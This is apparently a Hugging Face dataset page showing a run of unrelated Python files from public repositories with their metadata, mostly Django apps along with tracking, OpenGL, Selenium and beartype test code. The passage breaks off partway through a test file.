Reset23/the-stack-v2-python · Datasets at Hugging Face

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/products/views.py

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Code-Institute-Submissions/Top_Notch_Coffee

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from django.shortcuts import render, redirect, reverse, get_object_or_404 from django.contrib import messages from django.contrib.auth.decorators import login_required from django.db.models import Q from django.db.models.functions import Lower from .models import Product, Category from .forms import ProductForm # Create your views here. def all_products(request): """ A view to show all products, including sorting and search queries """ products = Product.objects.all() query = None categories = None sort = None direction = None if request.GET: if 'sort' in request.GET: sortkey = request.GET['sort'] sort = sortkey if sortkey == 'name': sortkey = 'lower_name' products = products.annotate(lower_name=Lower('name')) if sortkey == 'category': sortkey = 'category__name' if 'direction' in request.GET: direction = request.GET['direction'] if direction == 'desc': sortkey = f'-{sortkey}' products = products.order_by(sortkey) if 'category' in request.GET: categories = request.GET['category'].split(',') products = products.filter(category__name__in=categories) categories = Category.objects.filter(name__in=categories) if 'q' in request.GET: query = request.GET['q'] if not query: messages.error(request, "You didn't enter any search criteria!") return redirect(reverse('products')) queries = Q(name__icontains=query) | Q(description__icontains=query) products = products.filter(queries) current_sorting = f'{sort}_{direction}' context = { 'products': products, 'search_term': query, 'current_categories': categories, 'current_sorting': current_sorting, } return render(request, 'products/products.html', context) def product_detail(request, product_id): """ A view to show individual product details """ product = get_object_or_404(Product, pk=product_id) context = { 'product': product, } return render(request, 'products/product_detail.html', context) @login_required def add_product(request): """ Add a product to the store """ if not request.user.is_superuser: messages.error(request, 'Sorry, only store owners can do that.') return redirect(reverse('home')) if request.method == 'POST': form = ProductForm(request.POST, request.FILES) if form.is_valid(): product = form.save() messages.success(request, 'Successfully added product!') return redirect(reverse('product_detail', args=[product.id])) else: messages.error(request, ('Failed to add product. Please ensure the form is valid.')) else: form = ProductForm() template = 'products/add_product.html' context = { 'form': form, } return render(request, template, context) @login_required def edit_product(request, product_id): """ Edit a product in the store """ if not request.user.is_superuser: messages.error(request, 'Sorry, only store owners can do that.') return redirect(reverse('home')) product = get_object_or_404(Product, pk=product_id) if request.method == 'POST': form = ProductForm(request.POST, request.FILES, instance=product) if form.is_valid(): form.save() messages.success(request, 'Successfully updated product!') return redirect(reverse('product_detail', args=[product.id])) else: messages.error(request, 'Failed to update product. Please ensure the form is valid.') else: form = ProductForm(instance=product) messages.info(request, f'You are editing {product.name}') template = 'products/edit_product.html' context = { 'form': form, 'product': product, } return render(request, template, context) @login_required def delete_product(request, product_id): """ Delete a product from the store """ if not request.user.is_superuser: messages.error(request, 'Sorry, only store owners can do that.') return redirect(reverse('home')) product = get_object_or_404(Product, pk=product_id) product.delete() messages.success(request, 'Product deleted!') return redirect(reverse('products'))

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/pool/client2.py

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# coding: utf-8 """ @auther: 张帅男 @data: 2021/3/12 上午11:42 @文件名字：client.py """ import datetime from ramq_pool import RabbitmqPool as Pool rabbitmq_host = "127.0.0.1" rabbitmq_port = "5672" rabbitmq_user = "admin" rabbitmq_password = "123456" rabbitmq_virtual_host = "/" Pool = Pool(3, 20) cert = Pool.get_certtemplate() cert['rabbitmq_host'] = rabbitmq_host cert['rabbitmq_virtual_host'] = rabbitmq_virtual_host cert['rabbitmq_user'] = rabbitmq_user cert['rabbitmq_password'] = rabbitmq_password cert['rabbitmq_port'] = rabbitmq_port Pool.addcert(cert) try: channel, cname = Pool.get_channel() finally: Pool.delconnection(cname) channel, cname = Pool.get_channel() channel.exchange_declare(exchange='pool-test', durable=True, exchange_type='fanout') message = f'this is message id : 123' channel.basic_publish(exchange='pool-test', routing_key='secend', body=message)

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foysal-mahmud/Blog-Project---Django

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# Generated by Django 3.1.3 on 2020-11-26 22:59 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='UserProfile', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('profile_pic', models.ImageField(upload_to='profile_pics')), ('user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, related_name='user_profile', to=settings.AUTH_USER_MODEL)), ], ), ]

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from dataclasses import dataclass from dataclasses_json import dataclass_json from .base_model import BaseModel @dataclass_json @dataclass class SparseIndices(BaseModel): """ Indices of those attributes that deviate from their initialization value. Properties: bufferView (integer) The index of the bufferView with sparse indices. Referenced bufferView can't have ARRAY_BUFFER or ELEMENT_ARRAY_BUFFER target. (Required) byteOffset (integer) The offset relative to the start of the bufferView in bytes. Must be aligned. (Optional) componentType (integer) The indices data type. (Required) extensions (object) Dictionary object with extension-specific objects. (Optional) extras (any) Application-specific data. (Optional) """ bufferView: int = None byteOffset: int = None componentType: int = None

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# -*- coding: utf-8 -*- """ Created on Mon Jun 27 00:28:45 2016 @author: Mircea """ import imageio filename = '/tmp/file.mp4' vid = imageio.get_reader(filename, 'ffmpeg')

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import jwt from jwt.exceptions import InvalidTokenError from datetime import datetime, timedelta from pathlib import Path from typing import Optional from src.core import config from src.app.base.utils.email import send_email password_reset_jwt_subject = "preset" def send_test_email(email_to: str): project_name = config.PROJECT_NAME subject = f"{project_name} - Test email" with open(Path(config.EMAIL_TEMPLATES_DIR) / "test_email.html") as f: template_str = f.read() send_email( email_to=email_to, subject_template=subject, html_template=template_str, environment={"project_name": config.PROJECT_NAME, "email": email_to}, ) def send_reset_password_email(email_to: str, email: str, token: str): project_name = config.PROJECT_NAME subject = f"{project_name} - Password recovery for user {email}" with open(Path(config.EMAIL_TEMPLATES_DIR) / "reset_password.html") as f: template_str = f.read() if hasattr(token, "decode"): use_token = token.decode() else: use_token = token server_host = config.SERVER_HOST link = f"{server_host}/reset-password?token={use_token}" send_email( email_to=email_to, subject_template=subject, html_template=template_str, environment={ "project_name": config.PROJECT_NAME, "username": email, "email": email_to, "valid_hours": config.EMAIL_RESET_TOKEN_EXPIRE_HOURS, "link": link, }, ) def send_new_account_email(email_to: str, username: str, password: str): project_name = config.PROJECT_NAME subject = f"{project_name} - New account for user {username}" with open(Path(config.EMAIL_TEMPLATES_DIR) / "new_account.html") as f: template_str = f.read() link = config.SERVER_HOST send_email( email_to=email_to, subject_template=subject, html_template=template_str, environment={ "project_name": config.PROJECT_NAME, "username": username, "password": password, "email": email_to, "link": link, }, ) def generate_password_reset_token(email): delta = timedelta(hours=config.EMAIL_RESET_TOKEN_EXPIRE_HOURS) now = datetime.utcnow() expires = now + delta exp = expires.timestamp() encoded_jwt = jwt.encode( {"exp": exp, "nbf": now, "sub": password_reset_jwt_subject, "email": email}, config.SECRET_KEY, algorithm="HS256", ) return encoded_jwt def verify_password_reset_token(token) -> Optional[str]: try: decoded_token = jwt.decode(token, config.SECRET_KEY, algorithms=["HS256"]) assert decoded_token["sub"] == password_reset_jwt_subject return decoded_token["email"] except InvalidTokenError: return None

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from django.contrib.sites.models import Site from django.conf import settings as django_settings def pinax_apps_filter(app): return app.startswith("pinax.") or app in ["account", "mailer"] def package_names(names): apps = [] for x in names: if x.startswith("pinax."): apps.append(x.replace(".", "-")) if x == "account": apps.append("django-user-accounts") if x == "mailer": apps.append("django-mailer") return apps def settings(request): ctx = { "ADMIN_URL": django_settings.ADMIN_URL, "CONTACT_EMAIL": django_settings.CONTACT_EMAIL, "pinax_notifications_installed": "pinax.notifications" in django_settings.INSTALLED_APPS, "pinax_stripe_installed": "pinax.stripe" in django_settings.INSTALLED_APPS, "pinax_apps": package_names(filter(pinax_apps_filter, django_settings.INSTALLED_APPS)) } if Site._meta.installed: site = Site.objects.get_current(request) ctx.update({ "SITE_NAME": site.name, "SITE_DOMAIN": site.domain }) return ctx

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""" Django settings for pollster project. Generated by 'django-admin startproject' using Django 3.1.3. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path import os # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'fxe@p)e*&w4=)s9p4+^ez*ybix74#ei0gtg59p9bwgi533i6%m' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'polls.apps.PollsConfig', 'pages.apps.PagesConfig', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'pollster.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'pollster.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/'

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""" Django settings for four_dot project. Generated by 'django-admin startproject' using Django 3.0.3. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) TEMPLATES_DIR = os.path.join(BASE_DIR, 'templates') STATIC_DIR = os.path.join(BASE_DIR, 'static') # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'l0jy_epw&@i9u2!ot8yat_(t@mib%797e^8_td_tu$t^&@8%93' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'main_app' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'four_dot.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [TEMPLATES_DIR, ], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'four_dot.wsgi.application' # Database # https://docs.djangoproject.com/en/3.0/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/3.0/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.0/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.0/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = [ STATIC_DIR, ]

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# Generated by Selenium IDE import time from selenium import webdriver from selenium.webdriver.common.action_chains import ActionChains from selenium.webdriver.common.by import By class TestTest(): def setup_method(self, method): self.driver = webdriver.Chrome() self.vars = {} def teardown_method(self, method): self.driver.quit() def wait_for_window(self, timeout=2): time.sleep(round(timeout / 1000)) wh_now = self.driver.window_handles wh_then = self.vars["window_handles"] if len(wh_now) > len(wh_then): return set(wh_now).difference(set(wh_then)).pop() def test_test(self): self.driver.get("https://www.hongxiu.com/book/12115534503935401") self.driver.set_window_size(1366, 768) self.driver.execute_script("window.scrollTo(0,100)") self.driver.find_element(By.ID, "j-closeGuide").click() self.driver.find_element(By.ID, "readBtn").click() self.driver.find_element(By.ID, "j-closeGuide").click() element = self.driver.find_element(By.CSS_SELECTOR, "#j_navCatalogBtn i") actions = ActionChains(self.driver) actions.move_to_element(element).perform() self.driver.find_element(By.CSS_SELECTOR, "#j_navCatalogBtn i").click() element = self.driver.find_element(By.CSS_SELECTOR, "body") actions = ActionChains(self.driver) actions.move_to_element(element, 0, 0).perform() self.vars["window_handles"] = self.driver.window_handles self.driver.find_element(By.LINK_TEXT, "目录").click() self.vars["win2628"] = self.wait_for_window(2000) self.driver.switch_to.window(self.vars["win2628"]) self.driver.find_element(By.ID, "readBtn").click()

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#!/usr/bin/python tabby_cat = "\tI'm tabbed in." persian_cat = "I'm split\non a line." backslash_cat = "I'm \\ a \\ cat." fat_cat = ''' I'll do a list: \t* Cat food \t* Fishies \t* Catnip\n\t* Grass ''' print tabby_cat print persian_cat print backslash_cat print fat_cat stupid = "cat" horrible = "\t\t\tI'm a triple tabby %s." % stupid print horrible amount = 10 lard_ass_cat_wants = 15 fatter_cat = """ Here's what your dumb cat wants: """ print fatter_cat print "%s wants %r fish and %d fishies." % (stupid, amount, lard_ass_cat_wants)

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adampsyche@gmail.com

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/src/kcf/track.py

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[]

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heyanbo1996/gmm_sort_track

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import numpy as np from kcf_tracker import KCFTracker # 将 bbox 由 [x1,y1,x2,y2] 形式转为 [框中心点 x, 框中心点 y, 框面积 s, 宽高比例 r].T def convert_bbox_to_z(bbox): """ Takes a bounding box in the form [x1,y1,x2,y2] and returns z in the form [x,y,s,r] where x,y is the centre of the box and s is the scale/area and r is the aspect ratio """ w = bbox[2] - bbox[0] h = bbox[3] - bbox[1] x = bbox[0] + w / 2. y = bbox[1] + h / 2. s = w * h # scale is just area r = w / float(h) # 将数组 [x,y,s,r] 转为 4 行 1 列形式，即 [x,y,s,r].T return np.array([x, y, s, r]).reshape((4, 1)) # 将 bbox 由 [x,y,s,r] 形式转为 [x1,y1,x2,y2] 形式 def convert_x_to_bbox(x, score=None): """ Takes a bounding box in the centre form [x,y,s,r] and returns it in the form [x1,y1,x2,y2] where x1,y1 is the top left and x2,y2 is the bottom right """ w = np.sqrt(x[2] * x[3]) h = x[2] / w if score is None: return np.array([x[0] - w / 2., x[1] - h / 2., x[0] + w / 2., x[1] + h / 2.]).reshape((1, 4)) else: return np.array([x[0] - w / 2., x[1] - h / 2., x[0] + w / 2., x[1] + h / 2., score]).reshape((1, 5)) class TrackState: Tentative = 1 Confirmed = 2 Deleted = 3 class Track(object): """ This class represents the internal state of individual tracked objects observed as bbox. """ count = 0 def __init__(self, frame_count, bbox, mean, covariance, track_id, n_init=30, max_age=30, cn=True, hog=True, fixed_window=True, multi_scale=True, peak_threshold=0.4): """ Initialises a tracker using initial bounding box. 使用初始化边界框初始化跟踪器 """ # define constant velocity model # 定义匀速模型，状态变量是 8 维，观测值是 4 维，按照需要的维度构建目标 self.kcf = KCFTracker(cn, hog, fixed_window, multi_scale, peak_threshold) self.mean = mean self.covariance = covariance self.track_id = track_id self.state = TrackState.Tentative self.hits = 1 self.time_since_update = 0 self.path = [] self.path.append([frame_count, bbox[0], bbox[1], bbox[2], bbox[3]]) self.n_init = n_init self.max_age = max_age # 在计算 mot 指标的时候使用 self.print_path = False def init_kcf(self, frame, tlwh): self.kcf.init(tlwh, frame) def update_kcf(self, frame): return self.kcf.update(frame) def retrain_kcf(self, frame, roi): self.kcf.retrain(frame, roi) def update(self, frame, frame_count, kf, tlwh, tlbr, bbox): """ Updates the state vector with observed bbox. """ self.kcf.retrain(frame, tlwh) self.mean, self.covariance = kf.update(self.mean, self.covariance, bbox) self.hits += 1 self.time_since_update = 0 self.path.append([frame_count, tlbr[0], tlbr[1], tlbr[2], tlbr[3]]) if self.state == TrackState.Tentative and self.hits >= self.n_init: self.state = TrackState.Confirmed def predict(self, kf): """ Advances the state vector and returns the predicted bounding box estimate. """ self.mean, self.covariance = kf.predict(self.mean, self.covariance) self.time_since_update += 1 # 返回跟踪器的状态 [top_x, top_y, bottom_x, bottom_y] def to_tlbr(self): ret = self.mean[:4].copy() ret[2] *= ret[3] ret[:2] -= ret[2:] / 2 ret[2:] = ret[:2] + ret[2:] return ret def mark_missed(self): if self.state == TrackState.Tentative: self.state = TrackState.Deleted elif self.time_since_update > self.max_age: self.state = TrackState.Deleted def is_tentative(self): return self.state == TrackState.Tentative def is_confirmed(self): return self.state == TrackState.Confirmed def is_deleted(self): return self.state == TrackState.Deleted def downward(self): if len(self.path) >= self.n_init: for i in range(len(self.path) - 1, len(self.path) - self.n_init + 1, -1): if self.path[i][4] - self.path[i - 1][4] < 10: return False return True return False

[ "xuweilin2014@outlook.com" ]

xuweilin2014@outlook.com

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/blog/admin.py

c94cc4ec4906bc749785f83d6e924a450337aeed

[]

no_license

Navayuvan-SB/Mini-Blog-App

bbca589474c358e91468597946d58757be59f2dc

1148160570cd50445e567a8b165f7c071464a18a

refs/heads/master

2023-04-14T13:33:08.674879

2021-04-15T04:27:09

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from django.contrib import admin from .models import Author, Blog, Content, Comment class ContentInline(admin.TabularInline): model = Content extra = 2 class CommentInline(admin.TabularInline): model = Comment extra = 0 @admin.register(Blog) class BlogAdmin(admin.ModelAdmin): list_display = ('title', 'blogger', 'post_date') inlines = [ContentInline, CommentInline] @admin.register(Author) class AuthorAdmin(admin.ModelAdmin): list_display = ('user', 'date_of_birth')

[ "sb.navayuvan@gmail.com" ]

sb.navayuvan@gmail.com

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/auction/models.py

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[ "LicenseRef-scancode-public-domain", "CC0-1.0" ]

permissive

chi-ng/the-weather-app

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refs/heads/master

2023-01-02T22:23:12.280072

2020-10-28T15:51:55

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from django.db import models import datetime from django.conf import settings from django.contrib.auth.models import AbstractUser from django.contrib.auth.models import ( BaseUserManager, AbstractBaseUser ) from decimal import Decimal class MyUserManager(BaseUserManager): def create_user(self, email, date_of_birth, password=None): """ Creates and saves a User with the given email, date of birth and password. """ if not email: raise ValueError('Users must have an email address') user = self.model( email=self.normalize_email(email), date_of_birth=date_of_birth, ) def create_superuser(self, email, date_of_birth, password): user = self.create_user(email, password=password, date_of_birth=date_of_birth, ) user.is_staff = True user.save(using=self._db) return user class MyUser(AbstractBaseUser): email = models.EmailField( verbose_name='email address', max_length=255, unique=True, ) date_of_birth = models.DateField() is_active = models.BooleanField(default=True) is_admin = models.BooleanField(default=False) objects = MyUserManager() USERNAME_FIELD = 'email' REQUIRED_FIELDS = ['date_of_birth'] def get_full_name(self): # The user is identified by their email address return self.email def get_short_name(self): # The user is identified by their email address return self.email def __str__(self): # __unicode__ on Python 2 return self.email def has_perm(self, perm, obj=None): "Does the user have a specific permission?" # Simplest possible answer: Yes, always return True def has_module_perms(self, app_label): "Does the user have permissions to view the app `app_label`?" # Simplest possible answer: Yes, always return True @property def is_staff(self): "Is the user a member of staff?" # Simplest possible answer: All admins are staff return self.is_admin class item(models.Model): title = models.CharField(max_length=50, default='') description = models.TextField(default='') enddate = models.DateField() picture = models.ImageField() available = models.BooleanField() MyUser = models.ForeignKey(MyUser, on_delete=models.CASCADE) def __str__(self): return self.bid_id class bid(models.Model): price = models.DecimalField(decimal_places=2, max_digits=6, default=Decimal(0)) item = models.ForeignKey(item, on_delete=models.CASCADE) MyUser = models.ForeignKey(MyUser, on_delete=models.CASCADE) def __str__(self): return self.bid_id

[ "tri.nguyen@se17.qmul.ac.uk" ]

tri.nguyen@se17.qmul.ac.uk

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/torreto/asgi.py

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[]

no_license

ZhibekSolp/toretto

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refs/heads/master

2023-07-18T18:52:07.427930

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""" ASGI config for torreto project. It exposes the ASGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/ """ import os from django.core.asgi import get_asgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'torreto.settings') application = get_asgi_application()

[ "ZhibekSolp.solpieva.zhibek@gmail.com" ]

ZhibekSolp.solpieva.zhibek@gmail.com

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/catkin_ws/build/turtlesim_cleaner/catkin_generated/pkg.installspace.context.pc.py

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[]

no_license

aboughatane/Tb3_with_OM

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refs/heads/main

2023-03-15T15:19:31.296028

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# generated from catkin/cmake/template/pkg.context.pc.in CATKIN_PACKAGE_PREFIX = "" PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else [] PROJECT_CATKIN_DEPENDS = "".replace(';', ' ') PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else [] PROJECT_NAME = "turtlesim_cleaner" PROJECT_SPACE_DIR = "/home/diakhaby/catkin_ws/install" PROJECT_VERSION = "0.0.0"

[ "thiernodd@gmail.com" ]

thiernodd@gmail.com

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/software/experimenting/openGLShaders.py

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[]

no_license

Bellspringsteen/blocks

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e5b8257d5909134ab164a333938634827d1a47a0

refs/heads/master

2016-09-06T03:53:44.155679

2015-06-25T03:50:56

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from OpenGLContext import testingcontext BaseContext = testingcontext.getInteractive() from OpenGL.GL import * from OpenGL.arrays import vbo from OpenGLContext.arrays import * from OpenGL.GL import shaders class TestContext( BaseContext ): """Creates a simple vertex shader...""" def OnInit( self ): VERTEX_SHADER = shaders.compileShader("""#version 320 void main() { gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex; }""", GL_VERTEX_SHADER) FRAGMENT_SHADER = shaders.compileShader("""#version 320 void main() { gl_FragColor = vec4( 0, 1, 0, 1 ); }""", GL_FRAGMENT_SHADER) self.shader = shaders.compileProgram(VERTEX_SHADER,FRAGMENT_SHADER) self.vbo = vbo.VBO( array( [ [ 0, 1, 0 ], [ -1,-1, 0 ], [ 1,-1, 0 ], [ 2,-1, 0 ], [ 4,-1, 0 ], [ 4, 1, 0 ], [ 2,-1, 0 ], [ 4, 1, 0 ], [ 2, 1, 0 ], ],'f') ) def Render( self, mode): """Render the geometry for the scene.""" shaders.glUseProgram(self.shader) try: self.vbo.bind() try: glEnableClientState(GL_VERTEX_ARRAY); glVertexPointerf( self.vbo ) glDrawArrays(GL_TRIANGLES, 0, 9) finally: self.vbo.unbind() glDisableClientState(GL_VERTEX_ARRAY); finally: shaders.glUseProgram( 0 ) if __name__ == "__main__": TestContext.ContextMainLoop()

[ "Alex.Morgan.Bell@gmail.com" ]

Alex.Morgan.Bell@gmail.com

ea92bfa37b0a7cf7dfb14ebe3db3b8bc9df3ce1d

c69422b3b24928cb7f1bec375edf0edbb0eca791

/setssh_model/setssh/admin_urls.py

6f043ceb62a5755fc7fe14401b0d1ed572fc6eb8

[]

no_license

pcr/reviewboard_git_hooks

aff0101167fa343790a6235c8b50327db4abdce5

2e38cf3303f6699fb2653c492169da213059d719

refs/heads/master

2016-09-10T23:10:54.240772

2014-02-20T02:47:54

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from django.conf.urls import patterns, url patterns('setssh.views', url(r'^$', 'configure'), )

[ "zhangqingyong@kingsoft.com" ]

zhangqingyong@kingsoft.com

cb38fa4c2c044dfe085f214502a52fdb44f02eca

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/beartype_test/a00_unit/a10_pep/test_pep484.py

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[ "MIT" ]

permissive

yamgent/beartype

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refs/heads/main

2023-03-19T18:27:44.326772

2021-03-08T06:20:57

2021-03-08T06:26:22

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#!/usr/bin/env python3 # --------------------( LICENSE )-------------------- # Copyright (c) 2014-2021 Beartype authors. # See "LICENSE" for further details. ''' **Beartype decorator PEP 484-compliant type hint unit tests.** This submodule unit tests the :func:`beartype.beartype` decorator with respect to **PEP 484-compliant type hints** (i.e., :mod:`beartype`-agnostic annotations specifically compliant with `PEP 484`_). See Also ---------- :mod:`beartype_test.a00_unit.decor.code.test_code_pep` Submodule generically unit testing PEP-compliant type hints. .. _PEP 484: https://www.python.org/dev/peps/pep-0484 ''' # ....................{ IMPORTS }.................... #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! # WARNING: To raise human-readable test errors, avoid importing from # package-specific submodules at module scope. #!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! from beartype_test.util.pyterror import raises_uncached from typing import NoReturn, Union, no_type_check # ....................{ TESTS ~ decor : no_type_check }.................... def test_pep484_decor_no_type_check() -> None: ''' Test the :func:`beartype.beartype` decorator against all edge cases of the `PEP 484`_-compliant :attr:`typing.no_type_check` decorator. .. _PEP 484: https://www.python.org/dev/peps/pep-0484 ''' # Defer heavyweight imports. from beartype import beartype # Callable decorated by @typing.no_type_check whose otherwise PEP-compliant # type hints *SHOULD* be subsequently ignored by @beartype. @no_type_check def of_beechen_green(and_shadows_numberless: Union[int, str]) -> str: return and_shadows_numberless # The same callable additionally decorated by @beartype. of_beechen_green_beartyped = beartype(of_beechen_green) # Assert these two callables to be the same, implying @beartype silently # reduced to a noop by returning this callable undecorated. assert of_beechen_green is of_beechen_green_beartyped # ....................{ TESTS ~ hint : noreturn }.................... def test_pep484_hint_noreturn() -> None: ''' Test the :func:`beartype.beartype` decorator against all edge cases of the `PEP 484`_-compliant :attr:`typing.NoReturn` type hint, which is contextually permissible *only* as an unsubscripted return annotation. .. _PEP 484: https://www.python.org/dev/peps/pep-0484 ''' # Defer heavyweight imports. from beartype import beartype from beartype.roar import ( BeartypeCallHintPepException, BeartypeDecorHintPep484Exception, ) # Exception guaranteed to be raised *ONLY* by the mending_wall() function. class BeforeIBuiltAWallIdAskToKnow(Exception): pass # Callable unconditionally raising an exception correctly annotating its # return as "NoReturn". @beartype def mending_wall() -> NoReturn: raise BeforeIBuiltAWallIdAskToKnow( "Something there is that doesn't love a wall,") # Assert this callable raises the expected exception when called. with raises_uncached(BeforeIBuiltAWallIdAskToKnow): mending_wall() # Callable explicitly returning a value incorrectly annotating its return # as "NoReturn". @beartype def frozen_ground_swell() -> NoReturn: return 'That sends the frozen-ground-swell under it,' # Assert this callable raises the expected exception when called. with raises_uncached(BeartypeCallHintPepException): frozen_ground_swell() # Callable implicitly returning a value incorrectly annotating its return # as "NoReturn". @beartype def we_do_not_need_the_wall() -> NoReturn: 'There where it is we do not need the wall:' # Assert this callable raises the expected exception when called. with raises_uncached(BeartypeCallHintPepException): we_do_not_need_the_wall() # Assert this decorator raises the expected exception when decorating a # callable returning a value incorrectly annotating its return as # "NoReturn". with raises_uncached(BeartypeDecorHintPep484Exception): # Callable returning a value incorrectly annotating a parameter as # "NoReturn". @beartype def upper_boulders(spills: NoReturn): return 'And spills the upper boulders in the sun;' # Assert this decorator raises the expected exception when decorating a # callable returning a value annotating a parameter as a supported PEP # 484-compliant type hint incorrectly subscripted by "NoReturn". with raises_uncached(BeartypeDecorHintPep484Exception): @beartype def makes_gaps(abreast: Union[str, NoReturn]): return 'And makes gaps even two can pass abreast.' # ....................{ TESTS ~ hint : sequence }.................... def test_pep484_hint_sequence_standard_cached() -> None: ''' Test that a `subtle issue <issue #5_>`__ of the :func:`beartype.beartype` decorator with respect to metadata describing **PEP-compliant standard sequence hints** (e.g., :attr:`typing.List`) cached via memoization across calls to that decorator has been resolved and *not* regressed. Note that the more general-purpose :func:`test_p484` test *should* already exercise this issue, but that this issue was sufficiently dire to warrant special-purposed testing exercising this exact issue. .. _issue #5: https://github.com/beartype/beartype/issues/5 ''' # Defer heavyweight imports. from beartype import beartype # Callable annotated by an arbitrary PEP 484 standard sequence type hint. @beartype def fern_hill(prince_of_the_apple_towns: Union[int, str]) -> str: return prince_of_the_apple_towns # A different callable annotated by the same hint and another arbitrary # non-"typing" type hint. @beartype def apple_boughs( famous_among_the_barns: Union[int, str], first_spinning_place: str ) -> str: return famous_among_the_barns + first_spinning_place # Validate that these callables behave as expected. assert fern_hill( 'Now as I was young and easy under the apple boughs' 'About the lilting house and happy as the grass was green,' ' The night above the dingle starry,' ' Time let me hail and climb' ' Golden in the heydays of his eyes,' 'And honoured among wagons I was prince of the apple towns' 'And once below a time I lordly had the trees and leaves' ' Trail with daisies and barley' ' Down the rivers of the windfall light. ' ).startswith('Now as I was young and easy under the apple boughs') assert apple_boughs(( 'And as I was green and carefree, famous among the barns' 'About the happy yard and singing as the farm was home,' ' In the sun that is young once only,' ' Time let me play and be' ' Golden in the mercy of his means,' 'And green and golden I was huntsman and herdsman, the calves' 'Sang to 